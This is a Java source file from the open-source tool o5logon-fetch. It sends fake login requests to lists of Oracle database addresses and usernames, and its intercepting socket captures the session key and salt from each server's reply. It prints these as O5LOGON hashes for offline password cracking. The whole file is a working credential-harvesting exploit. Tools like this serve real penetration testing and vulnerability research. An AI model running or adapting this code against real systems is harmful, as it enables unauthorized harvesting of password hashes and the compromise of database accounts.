/*
(c) 2014 Harrison Neal.
This file is part of o5logon-fetch.
o5logon-fetch is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
o5logon-fetch is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with o5logon-fetch. If not, see .
*/
import java.io.BufferedReader;
import java.io.FileReader;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.net.SocketImpl;
import java.sql.Connection;
import java.sql.DriverManager;
import java.util.ArrayList;
import MitMSocket.MitMAction;
import MitMSocket.MitMSocketImplFactory;
import MitMSocket.MitMSocketImplFactoryListener;
public class OracleFakeLogon implements MitMSocketImplFactoryListener {
public static void main(String[] args) {
if (args.length != 2) {
showUsage();
}
new OracleFakeLogon(openFile(args[0]), openFile(args[1])).run();
}
private ArrayList addresses, usernames;
private String currentHash;
public OracleFakeLogon(ArrayList addresses, ArrayList usernames) {
this.addresses = addresses;
this.usernames = usernames;
}
public void run() {
MitMSocketImplFactory sFac = new MitMSocketImplFactory();
sFac.setListener(this);
try {
Socket.setSocketImplFactory(sFac);
} catch (Exception e) {
e.printStackTrace();
System.exit(1);
}
for (String address : addresses) {
for (String username : usernames) {
currentHash = null;
try {
Connection con = DriverManager.getConnection(
address,
username,
"not_the_password_you_are_looking_for");
con.close();
} catch (Exception ex) {}
if (currentHash != null) {
System.out.println(address + " " + username + " " + currentHash);
}
}
}
}
private final String sess = "AUTH_SESSKEY";
private final int sessLen = 96;
private final String salt = "AUTH_VFR_DATA";
private final int saltLen = 20;
private boolean charIsHex(char a) {
return ((a >= '0' && a <= '9') || (a >= 'A' && a <= 'F'));
}
@Override
public MitMAction socketInputRead(SocketImpl si, InputStream is, byte[] b) {
try {
String data = new String(b, "US-ASCII");
int sessIndex = data.indexOf(sess);
if (sessIndex < 0)
return MitMAction.NOTHING;
int saltIndex = data.indexOf(salt);
if (saltIndex < 0)
return MitMAction.NOTHING;
sessIndex += sess.length();
saltIndex += salt.length();
for (; sessIndex < data.length(); sessIndex++)
if (charIsHex(data.charAt(sessIndex)))
break;
if (sessIndex + sessLen > data.length())
return MitMAction.NOTHING;
for (int i = 1; i < sessLen; i++)
if (! charIsHex(data.charAt(sessIndex + i)))
return MitMAction.NOTHING;
for (; saltIndex < data.length(); saltIndex++)
if (charIsHex(data.charAt(saltIndex)))
break;
if (saltIndex + saltLen > data.length())
return MitMAction.NOTHING;
for (int i = 1; i < saltLen; i++)
if (! charIsHex(data.charAt(saltIndex + i)))
return MitMAction.NOTHING;
// At this point, we should have
// a valid authentication packet.
currentHash = "$o5logon$" + data.substring(sessIndex, sessIndex + sessLen) + "*" + data.substring(saltIndex, saltIndex + saltLen);
return MitMAction.CLOSE_SOCKET;
} catch (Exception e) {
e.printStackTrace();
}
return MitMAction.NOTHING;
}
@Override
public MitMAction socketOutputWrite(SocketImpl si, OutputStream os, byte[] b) {
// Do nothing on output.
return MitMAction.NOTHING;
}
public static ArrayList openFile(String fileName) {
ArrayList toReturn = new ArrayList();
BufferedReader reader = null;
try {
reader = new BufferedReader(new FileReader(fileName));
} catch (Exception ex) {
System.err.println("Problem opening file:");
ex.printStackTrace();
System.err.println();
showUsage();
}
String line;
try {
while ((line = reader.readLine()) != null) {
toReturn.add(line);
}
} catch (Exception ex) {
System.err.println("Problem reading file:");
ex.printStackTrace();
}
try {
reader.close();
} catch (Exception ex) {}
return toReturn;
}
public static void showUsage() {
System.err.println("Generates fake logon requests to a login server to get hashes.");
System.err.println("If you're debugging, Wireshark may be useful.");
System.err.println();
System.err.println("Usage:");
System.err.println("java -cp ojdbc6_intentionally_old.jar:. OracleFakeLogon ");
System.err.println();
System.err.println("Valid address formats:");
System.err.println("jdbc:oracle:thin:@::");
System.err.println("jdbc:oracle:thin:@//:/");
System.exit(1);
}
}